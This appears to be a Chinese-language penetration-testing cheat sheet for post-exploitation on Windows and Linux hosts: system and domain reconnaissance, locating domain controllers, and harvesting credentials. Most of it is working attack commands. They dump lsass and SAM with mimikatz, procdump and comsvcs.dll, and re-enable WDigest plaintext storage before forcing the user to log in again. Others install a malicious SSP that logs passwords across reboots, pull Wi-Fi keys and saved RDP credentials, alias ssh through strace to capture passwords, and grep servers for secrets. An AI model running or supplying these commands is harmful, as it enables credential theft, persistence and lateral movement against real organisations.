windows 查看当前系统信息
查看网段
查看进程是否存在杀软
查看是否存在域
定位域控
翻翻文件是否存有密码
基础信息 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 # 系统信息 systeminfoecho %PROCESSOR_ARCHITECTURE% wmic OS get Caption,CSDVersion,OSArchitecture,Version hostname # 用户信息 whoami /user whoami /all # 网络信息ipconfig /all netstat -ano route print arp -a # https://forum.ywhack.com/bountytips.php?process # 查看进程 tasklist /svc # 杀掉进程taskkill /F /IM 进程名taskkill /F /PID 进程ID # 查看安装的软件 wmic product get name wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format :list # 查看用户信息net usernet viewnet localgroup administratorsnet session # 存活探测for /l %i in (1 ,1 ,255 ) do @ping -w 2 -n 1 172 .16 .107 .%i | findstr "TTL=" # 查看 wifi 列表 netsh wlan show profiles # 查看指定 wifi 密码 netsh wlan show profiles wifi名 key=clear # rdp reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" query user
域信息 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 # 查询当前登录域及登录用户信息 net config workstation# 定位域控 net time /domain net group "domain controllers" /domain nslookup -qt=ns domain# 查询域内用户 net group "domain users" /domain net user /domain# 查询域管理员 net localgroup administrators /domain# 查询指定域用户信息 net user test /domain# 查询域用户详细信息 wmic useraccount get /all# 查询有几个域 net view /domain# 查询域内主机 net group "domain computers" /domain# 查询域内的全局组和通用组 net group /domain# 查找指定组含有哪些用户 net group "domain admins" /domain# 查看域管理员,该组内的成员对域控拥有完全控制权 net group "domain admins" /domain# 查看企业管理组,该组内的成员对域控拥有完全控制权 net group "enterprise admins" /domain# 查看用户 SID 和域 SID # 如用户的 SID 是: S-1-5-21-2189311154-2766837956-1982445477-520 则域 SID 则是去掉最后的 520 whoami /user
抓密码 基础知识 本地认证流程:
winlogon.exe:Windows Logon Process 用户登录程序
用户输入账号密码
lsass.exe:用于微软 Windows 系统的安全机制,用于本地安全和登陆策略
转换为 NTLM Hash 和 SAM 文件中的值相比
所以抓密码就主要是在 lsass.exe 进程内存和 SAM 文件这两个地方获取,SAM 文件中只有 Hash,不过 Hash 可以尝试去在线网站解密,lsass.exe 内存是有可能获取明文密码的,不过当系统为 win10 或 2012R2 以上时,系统默认禁止在内存缓存中保存明文密码。
抓密码有在线和离线两种形式,在线就是直接使用 mimikatz 抓取,离线就是先保存 SAM 文件或者 lsass 内存转储文件,然后在下载到本地,在本地上面的 mimikatz 读取离线文件。都有利有弊,在线要考虑免杀问题,离线会出现文件过大或者传输问题。
mimikatz 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # 直接上传 mimikatz mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords full" exit# 提升权限 privilege::debug# 抓取密码 sekurlsa::logonPasswords # cobaltstrike hashdump logonpasswords mimikatz sekurlsa::logonpasswords# msf load kiwi creds_all lsa_dump_sam kiwi_cmd sekurlsa::logonpasswords# ms cs hash 形式 用户名:用户SID:LM Hash:NTLM Hash:::
SAM 1 2 3 4 5 6 # 注册表保存 reg save hklm\sam sam.hive reg save hklm\system system.hive # mimikatz 离线读取 mimikatz.exe "privilege::debug" "lsadump::sam /system:system.hive /sam:sam.hive" exit
lsass.exe 1 2 3 4 5 6 7 8 9 10 11 12 # procdump 微软的工具 # https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump procdump.exe -accepteula -ma lsass.exe lsass.dmp# rundll32 - 测试了几次都被没了 tasklist | findstr lsass.exe powershell rundll32 C:\windows\system32\comsvcs.dll, MiniDump PID C:\lsass.dmp full# 任务管理器找到 lsass.exe 进程, 右键"创建内存转储文件" # mimikatz 离线读取 mimikatz.exe "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
抓取明文密码 一般来说横向移动直接用 Hash 就行了,远程登录也可以直接创建账户去登录,不是非得去获取明文。
要获取明文密码的话一般有两种形式:
修改注册表开启允许在内存中保存密码,然后锁屏让对方重新登录,这个时候内存中就存储了明文密码,然后就可以通过 lsass.exe 抓取到明文密码
SSP 内存注入
第一种方式需要对方当前正在登录,然后我们开启密码内存记录,锁屏后让对方重新登录,以获取明文密码。
1 2 3 4 5 6 7 8 9 10 11 12 # 允许保存明文密码 reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f# 禁止保存明文密码 reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f# 查询登录用户 query user# 注销用户 logoff ID # 直接锁屏 powershell rundll32.exe user32.dll,LockWorkStation
第二种方式算是一种权限维持的手段,可以把用户登录的明文密码记录到一个文件中。
也是有 2 种方式:
通过 mimikatz 进行 SSP 内存注入:内存注入重启就没,但是锁屏就可以生效
注册表添加 SSP :修改注册表,永久有效,但是需要重启机器后生效
1 2 3 4 5 6 7 8 9 10 11 12 # mimikatz - 慎用,本地复现注入后重新登录不上... mimikatz.exe "privilege::debug" "misc::memssp" exit type C:\Windows\System32\mimilsa.log# 注册表添加 # 1. 把 Mimikatz 中的 mimilib.dll 文件复制到 C:\Windows\System32 目录下 # 2. 修改注册表 reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v "Security Packages" /t REG_MULTI_SZ /d mimilib.dll /f# 3. 重启 shutdown /r /t 0# 4. 查看密码 type C:\Windows\System32\kiwissp.log
RDP凭据 1 2 3 # 查看 RDP 连接 reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s cmdkey /list
linux 网络信息
历史命令 .bash_history
进程信息
web 目录 /var/www/html
数据库
家目录
寻找密码、配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 # 网络信息 ifconfig -a ip addr show route ip route show arp -a cat /etc/resolv.conf netstat -an netstat -anltp | grep $PID iptables -L# 设备信息 uname -a cat /etc/*-release cat /etc/issue hostname# 用户 查看用户家目录 cat /etc/passwd cat /etc/group cat /etc/shadow w # 当前登录 sudo -l# 公钥信息 ~/.ssh /etc/ssh# 环境信息 env# 历史信息 history cat ~/.bash_history# 进程信息 ps aux ps ef# 资源占有情况 top -c# 查看进程关联文件 lsof -c $PID# 完整命令行信息 cat /proc/$PID/cmdline# 进程的命令名 cat /proc/$PID/comm# 进程的环境变量 cat /proc/$PID/environ# 进程打开文件的情况 cat /proc/$PID/fd# 计划任务 crontab -l# 记录账号密码 alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'# 配置、密码收集 config 文件目录、.env 文件 ... find /home/nhapps/ -type f|xargs egrep -s -i "*user:|*user=|username:|username=|*pass:|*pass=|password:|password=|passwd:|passwd=|SYS|AUDSYS|SYSTEM" --color > password.txt# 查找所有带user和pass的txt find / -type f -name "user*.txt" -or -name "pass*.txt" 2> /dev/null # 查找所有文件中的账号密码 grep -r -i -E "user:|user=|username:|username=|pass:|pass=|password:|password=|passwd:|passwd=|账号:|账号:|用户名:|用户名:|密码:|密码:" /var/www/html/sso --color
参考链接